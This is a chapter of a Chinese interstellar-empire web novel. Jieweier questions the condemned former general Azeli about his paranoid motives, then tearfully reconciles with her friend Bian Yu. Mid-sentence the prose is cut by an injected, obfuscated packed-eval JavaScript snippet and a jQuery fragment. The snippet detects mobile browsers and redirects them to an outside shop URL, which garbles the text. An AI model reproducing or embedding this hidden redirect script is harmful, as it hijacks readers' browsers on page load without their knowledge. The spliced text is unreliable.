88. 疯子的思维

作品:《在帝国当公主的日子[星际]

    另一间房,关押犯人的屋子内部没有任何区别,仅有两套桌椅,一套固定罪犯,一套用作询问。


    婕薇尔却没有立即靠近,和那位脸色明显有着痛苦的人对视一眼后,就停于原地。


    她同样不知道要问什么。


    她对阿泽里既熟悉又陌生……熟悉在于,她对军部叫得出名字的几位将领都还算了解,并本能地有些敬佩,而陌生在于,同为三大家族年轻一代成员,两人没有太多接触。


    比起他,婕薇尔甚至更熟悉那位战斗狂,知道对方对自己的性格颇有微词,但从未被当面嘲讽……


    在她犹豫、纠结该以质问还是其他的什么开启谈话的时候,对方先坐直了身体。


    这位狼狈不堪的前帝国将领竭力想要挤出笑容,但没能做到……“你为什么要来看我?不是已经知道我做的全部?”


    婕薇尔压抑怒火,“你以为,我现在应该在做什么?”


    阿泽里从鼻腔里发出一个气音,“我以为?我以为你会躲在庄园里哭泣。”


    “现在网络上应该已经被引爆……你大概,会、会伤心。”


    “如果是之前,我或许真的会这样。”


    婕薇尔意识到对方确实对自己有了解,但不是全部,“但是你不知道……殿下昨天晚上,让我今天去克里米亚,要给我设计机甲。”


    深深吸一口气,婕薇尔不知道自己为什么突然要说这些,但还是遵循本心地接着道:“但是我逃避了,因为这件事和我有很大的关系,我不知道要怎么样才能弥补……即使她展现出自己不会因此疏远我,我也不能当做什么都没发生。”


    “殿下最讨厌麻烦,但偏偏这是我带来的。”


    隔了几秒,没得到任何的反应,婕薇尔突然抿住嘴,“我不相信你喜欢我。”


    她不是什么都不懂的懵懂少女,会憧憬不够健康的感情,她一直认为它们只要存在就会有痕迹。


    就连友情都是这样,她会为朋友考虑,朋友也会为她做一些事,更何况比友情更亲密的爱情?


    即使算不上爱情,也不该一点痕迹没有。


    短暂静默后,阿泽里不再维持脊背的直立,那实在太消耗精力,“……我也不知道。”


    “你应该不记得了,我们第一次见面,是在诺顿家那边,所有人都去追逐同样在那里的陛下,一点本性都不顾了,我很恐惧这样的局面……当然,现在看来,那大概是权力的魅力……那时候,我刚从学校回来,我看到了你,你没有做类似的行为,自己待着……”


    婕薇尔带着一点愕然情绪地听着,不明白这有什么奇怪。


    不记得这件事,但她能猜到那大概是什么时候……“我那个时候刚失去父亲!选择独自待着不是很正常吗?!”


    她没有名义上的母亲,生物学上的母亲也不知道是谁,她从人造子宫中孕育,父亲就是她唯一的家人。


    小婕薇尔是那么渴望父亲回家,却只等来死讯……


    而且从这样的描述中,她察觉出一点怪异。


    “……你似乎,对陛下有不必要的奇怪恶意。”


    不过这验证了婕薇尔的想法,她是袭击的直接推动要素,却不是根源。


    犯人没有回答问题,而是奇怪地接了一句,“可是,我以为这样怪异的场景,来源于无法摆脱的精神力……我以为我们只是智脑下没有自主行动能力的‘机械’。”


    差点因受惊站起来,婕薇尔像看怪物一样脱口而出,“你疯了吗?如果没有西卡林家族,或许就没有帝国!”


    “而且有限制的律法存在!”


    阿泽里自嘲一笑,“我又怎么知道,他们是否真的遵循了?”


    “我又怎么知道,我所有的思想和行为都出自自己……只有在明显带着恶意,做出不利于他本人,不利于他们家族的时候,我才有一种掌握自己的感觉。”


    婕薇尔沉默听着,突然意识到在这样一个偏执的人心中,自己意味着什么:同类!


    她说不出话来,因为她完全没想过,自己还会扮演这样的角色。


    和某些观念一样,这不能和喜爱等同,反而更为沉重,让人毛骨悚然。


    短短的时间里,婕薇尔想到了很多问题……“你认为,我受到了殿下精神力的影响,所以不再是原本的我?”


    阿泽里:“……”


    “我现在知道了,不是的,我甚至认为她什么都不在意,我从没被看见……不过,还有一点,这本身也是一种‘反抗’,可本来就没有‘压迫’存在……”


    终于确定这是个不能沟通的疯子,因为他的某些观念已经根深蒂固,无从更改,一下听说这样的话,婕薇尔还不是很相信……“你是怎么知道的?”


    阿泽里心态很平和地露出笑容,白牙森森,“我接受了我们小公主的提议……终于得到了一直以来追寻的答案。”


    “说实话,未知的时候很紧张,但真正确定,我反而平静了下来。”


    “不要用这么轻佻的语气称呼她!”


    婕薇尔指责一句,随即语气一转,“所以,所以,她有受到伤害吗?”


    不太相信通告,甚至看过不少文学作品和影视作品,婕薇尔也不相信殿下展现出来的状态。


    那可能是为了减轻她负罪感的故意表现!


    因为不认同阿泽里所说殿下“什么都不在乎”,知道她确实在意很多事……婕薇尔下意识地将事往坏的方向想。


    认真看了一眼灰眼的少女,不知道她走过了怎样的心路历程,已经不再有攻击性。


    阿泽里真心实意地遗憾……如果是正常,他和婕薇尔会不会真的因相知相爱走入婚姻的殿堂?


    长时间把视线锁定在一个人身上,原本有的情感会强化,并且生出原本没有的。


    他头脑中一闪而过那位皇室走狗,不,萨博对婕薇尔的评价:


    太天真,连忧虑都显得那么可笑……其实一点都不可笑,没有人的理想是可笑的。


    “没有。”


    不再说一些似是而非的话,阿泽里感觉疼痛因精神状态好转有所缓解,“我们所有的准备,都不足以在她手下撑过十秒……这也是她从未将我们放在眼里的原因。”


    “我们只是一个笑话。”


    我的反抗和我自己,也是。


    因为殿下的强大和完好欣喜,婕薇尔脸上忍不住浮出些许笑容,但随即落下……她依旧在这里面占了很大的比例。


    慢慢地,她想到了一些曾听说过的事,下定了决心。


    “想到办法了?”


    对方语气平静,没带上一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121412|186591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点情绪,但在这样的场景中显得很奇怪。


    婕薇尔边起身边正色道:“不是办法,而是弥补途径。”


    沉重地呼吸几下,阿泽里没再争辩,“很抱歉婕薇尔,我让你深陷困境……下次见面,请你代我、向殿下道歉。”


    为所有发生的事。


    已得知判决结果,明白他就要死亡,婕薇尔没有接受前一句话,但也没拒绝后一句。


    她甚至停下伸手推门的动作,“你知道殿下会说什么吗?”


    阿泽里将没有焦距的淡金色眼珠上转,看向那道纤细的背影。


    “她会说,‘他已经得到了应有的结局’。”


    ……


    踟蹰着、徘徊着。


    “幽魂”婕薇尔在高德隆区停留,不敢上去。


    即使知道那大概率不会发生,但她还是畏惧失望、指责的眼神。


    不是帝国公主,而是边钰,边钰是她唯一如此亲近的朋友,甚至胜过家族成员。


    她有些明白阿泽里为什么会在一开始强迫自己保持体面——面对分量较重的人,紧张不可避免。


    但或许是受到那疯子的观念影响,她居然还能思考接下来要说的话。


    在这里焦虑了接近30分钟,她收到了一条讯息。


    边钰:【你要在下面等着吃晚饭吗?】


    没因为这个玩笑产生任何相应情绪,婕薇尔紧张忐忑没减少半分地整理衣裙和头发。


    直到全部妥帖,才真正迈出第一步。


    克里米亚依旧恢宏美丽,悬浮于空中,俯视整个高德隆区。


    往外面看了一眼,没心情欣赏,行走中的婕薇尔嘴唇蠕动,无声练习。


    穿过广场,通过前厅,踏过长廊,她靠近了一个房间。


    门开着。


    脚步越来越慢,婕薇尔终于停下来,在距离房间不足几步的地方。


    外面的动静完全消失,边钰不太明白这位开朗明媚的明珠还在担心什么。


    她以为昨天晚上的暗示足够明显。


    丢开笔站起来,边钰走向门口,和挪动过来的婕薇尔正对上。


    对方吓了一跳,身体都出现轻微颤抖。


    仔细看了眼她的脸庞,确定负面情绪已经有了消退迹象,边钰就让开身体,指向桌边的另一张椅子,“那是你的位置,我想你今天应该没怎么吃饭,所以准备了食物。”


    作为被关心的人,婕薇尔张开嘴巴,什么都说不出来。


    她狠狠擦了下脸颊,猛地向前,抱住了这位和自己差不多高的少女……


    边钰身体僵硬一瞬,随即伸手一下一下拍着那略显瘦弱的脊背。


    她颈侧,有温热液体流下。


    好几分钟后,眼睛微肿的婕薇尔坐到椅子上,一口接一口地喝着碗里的汤汁,肩膀微缩,隐有些退缩意味。


    她耳朵、脸颊都因哭泣泛红。


    “你太久没来,所以我先专心自己的设计了。”


    边钰不断些画,同时分心解释,“你可以先想想要什么样的类型了,不过,你的端口我已经有想法,能让你长时间坚持的,只有那么一两个种类。”


    对不爱说话的人来说,这样的解释有些突兀,但婕薇尔却突然安定下来。


    好像什么都没有改变。